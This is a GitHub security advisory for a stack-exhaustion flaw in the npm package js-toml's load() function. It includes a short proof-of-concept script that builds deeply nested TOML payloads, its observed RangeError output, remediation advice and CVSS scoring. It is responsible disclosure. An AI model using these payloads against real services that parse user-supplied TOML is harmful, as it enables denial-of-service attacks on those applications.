Skip to content

Uncontrolled recursion in `load()` causes `RangeError` (stack exhaustion) on deeply nested input

Moderate
sunnyadn published GHSA-3g82-77xr-68x5 Jun 30, 2026

Package

npm js-toml (npm)

Affected versions

<= 1.1.2

Patched versions

1.1.3

Description

Summary

load() parses untrusted TOML using a recursive-descent parser (Chevrotain) and a
recursive tree-walking interpreter. Neither the parser nor the interpreter enforces a
maximum nesting / key depth. A small, attacker-controlled document with deep nesting
(arrays, inline tables) or a long dotted key drives recursion past the V8 call-stack
limit, and load() throws an uncaught RangeError: Maximum call stack size exceeded.

This is a problem for two reasons:

  1. Denial of Service. A tiny payload (≈2 KB) reliably aborts parsing. In any
    service that parses user-supplied TOML, an unhandled RangeError can crash the
    worker/process (500 / restart loop).

  2. Error-contract violation. The library signals invalid input via
    SyntaxParseError (see src/load/exception.ts; the entire test suite asserts
    SyntaxParseError). Consumers that follow this contract —

    try { load(input); }
    catch (e) {
      if (e instanceof SyntaxParseError) return badRequest();
      throw e; // unexpected -> propagates
    }

    — will re-throw the RangeError instead of treating the input as malformed,
    turning malformed input into an unexpected fatal error.

Impact

  • Unauthenticated attacker who can supply a TOML string to an application using
    js-toml can force load() to throw a non-SyntaxParseError error.
  • If the error is not caught by a generic handler, the Node.js process terminates
    (availability impact).
  • Even when caught generically, the documented/expected error type contract is broken,
    which can bypass input-validation branches that key off SyntaxParseError.

No confidentiality or integrity impact. The error is thrown synchronously and is
catchable, so a consumer that catches all exceptions is not crashed — this is why the
severity is assessed Low–Medium rather than High.

Affected code / root cause

There is no depth bound anywhere in the parse pipeline. Recursion occurs in (at least)
two independent places:

  1. Parser (recursive descent). src/load/parser.tsarray / inlineTable
    rules recurse through value for each nesting level.
  2. Interpreter (tree walk). src/load/interpreter.ts
    assignValue, createTable, getOrCreateArray recurse per dotted-key segment, and
    cleanInternalProperties recurses per object depth.

Because there is no configurable or hard limit, the recursion depth is bounded only by
the V8 stack, and overflow surfaces as a raw RangeError.

Steps to reproduce (PoC)

Environment used: Node.js v20, js-toml@1.1.2.

import { load, SyntaxParseError } from 'js-toml';

function probe(label, toml) {
  try {
    load(toml);
    console.log(`[OK]            ${label}`);
  } catch (e) {
    const expected = e instanceof SyntaxParseError;
    console.log(`[${e.constructor.name}${expected ? '' : ' (UNEXPECTED)'}] ${label}: ${String(e.message).split('\n')[0]}`);
  }
}

// 1) Deeply nested arrays  (~2 KB payload)
probe('nested array depth 1000', 'x = ' + '['.repeat(1000) + ']'.repeat(1000));

// 2) Deeply nested inline tables
let v = '1';
for (let i = 0; i < 1000; i++) v = `{ a = ${v} }`;
probe('nested inline table depth 1000', 'x = ' + v);

// 3) Deep dotted key (interpreter recursion)
const key = Array.from({ length: 5000 }, (_, i) => 'a' + i).join('.');
probe('dotted key depth 5000', `${key} = 1`);

Observed output

[RangeError (UNEXPECTED)] nested array depth 1000: Maximum call stack size exceeded
[RangeError (UNEXPECTED)] nested inline table depth 1000: Maximum call stack size exceeded
[RangeError (UNEXPECTED)] dotted key depth 5000: Maximum call stack size exceeded

Each case throws RangeError, not SyntaxParseError. Overflow occurs in single-digit
milliseconds, so it is not a CPU-exhaustion issue — it is an immediate, deterministic abort.

Notes on thresholds (machine-dependent; exact numbers vary by stack size):

  • Nested arrays / inline tables overflow at roughly depth ~1000 (parser recursion).
  • Dotted keys overflow at roughly depth ~5000 (interpreter recursion); depth 1000 still succeeds.

Suggested remediation

Enforce an explicit, documented maximum nesting/key depth and surface violations as
SyntaxParseError (consistent with all other invalid-input handling). For example:

  • Track current depth in the parser/interpreter and throw SyntaxParseError
    (e.g. "Maximum nesting depth exceeded") once a configurable limit (e.g. 100–1000)
    is reached, before the native stack overflows.
  • As a defensive backstop, wrap the top-level load() body so that a thrown
    RangeError from stack exhaustion is converted into a SyntaxParseError, guaranteeing
    the documented error contract holds for all malformed input.

A configurable limit (with a safe default) is preferable so legitimate deep documents can
opt into a higher bound.

Disclosure

Reported privately via GitHub Security Advisory. Happy to provide additional reproducers
or test against a candidate patch.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-63386

Weaknesses

Uncontrolled Recursion

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. Learn more on MITRE.

Credits